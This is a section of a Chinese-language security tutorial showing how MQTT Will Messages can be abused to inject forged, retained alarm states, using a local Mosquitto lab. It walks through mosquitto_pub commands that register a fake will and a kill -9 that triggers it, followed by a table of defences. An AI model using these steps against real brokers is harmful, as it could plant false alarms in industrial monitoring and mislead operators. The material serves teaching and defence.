3. MQTT 遗嘱消息滥用导致状态欺骗
遗嘱消息的触发链路与欺骗面
MQTT 遗嘱消息(Will Message)是客户端在 CONNECT 报文中预先注册的一条“最后通告”。代理只有在检测到该客户端发生非正常断开时才会代为发布遗嘱;正常发送 DISCONNECT 则不会触发。这一机制本意是让订阅者及时感知设备离线,但在未鉴权或弱鉴权场景下,攻击者可以注册一条伪造的遗嘱,再通过异常断开主动触发它,从而向订阅者注入虚假状态。
构造与验证步骤
以下操作在本地 Mosquitto 代理上完成,代理配置为 allow_anonymous true 且未启用 ACL,模拟未鉴权场景。攻击者使用 mosquitto_pub 的 --will-topic、--will-payload、--will-qos、--will-retain 参数注册遗嘱,然后通过强制终止进程触发异常断开。
- 启动代理:使用默认配置启动 Mosquitto,确认监听 1883 端口且允许匿名连接。
- 订阅者监听:在另一终端订阅
factory/line1/#,观察收到的所有消息。 - 攻击者注册遗嘱并异常断开:使用
mosquitto_pub建立连接并注册伪造遗嘱,随后用kill -9强制终止进程,模拟非正常断开。 - 观察结果:订阅者终端应收到伪造的告警消息,验证遗嘱机制在未鉴权场景下可被滥用。
# 终端1:启动代理(默认配置,允许匿名)
mosquitto -c /etc/mosquitto/mosquitto.conf
# 终端2:订阅者监听产线1所有主题
mosquitto_sub -h 127.0.0.1 -p 1883 -t 'factory/line1/#' -v
# 终端3:攻击者注册伪造遗嘱,保持连接后强制终止
# 使用 -D 让客户端保持连接,不主动发送 DISCONNECT
mosquitto_pub -h 127.0.0.1 -p 1883 \
-i fake-sensor-01 \
-t factory/line1/status \
-m '{"state":"alarm","src":"fake-sensor-01"}' \
--will-topic factory/line1/status \
--will-payload '{"state":"alarm","src":"fake-sensor-01"}' \
--will-qos 1 \
--will-retain \
-d
# 在另一个终端强制终止该进程,触发异常断开
kill -9 $(pgrep -f 'fake-sensor-01')
关键观察点:订阅者收到的消息中
src 字段为 fake-sensor-01,但订阅者无法验证该 clientId 是否真实对应产线1的设备。如果订阅者仅根据主题和 payload 判断状态,就会误认为产线1进入告警。遗嘱消息的 retain 标志还会让后续新订阅者立即收到这条虚假状态。
欺骗风险判定与防御要点
| 风险维度 | 未鉴权场景表现 | 防御措施 |
|---|---|---|
| 遗嘱注册者身份 | 任意客户端可注册任意 clientId 的遗嘱 | 启用用户名/密码认证,绑定 clientId 与设备身份 |
| 遗嘱主题权限 | 可向任意主题注册遗嘱,包括其他设备的状态主题 | 配置 ACL,限制每个设备只能向自己的主题发布遗嘱 |
| 遗嘱内容可信度 | payload 可任意伪造,订阅者无法区分真伪 | 应用层签名或加密,订阅者校验消息来源 |
| retain 标志滥用 | 虚假状态被保留,新订阅者立即收到错误状态 | 对 retain 消息设置权限,或订阅者忽略 retain 标志 |
验证边界:本实验仅在本地隔离环境进行。遗嘱消息的触发依赖代理检测到 TCP 连接异常关闭,不同代理实现(Mosquitto、EMQX、HiveMQ)的检测超时和触发条件可能不同。在生产环境中,应结合认证、ACL 和应用层校验三层防护,不能仅依赖遗嘱机制判断设备状态。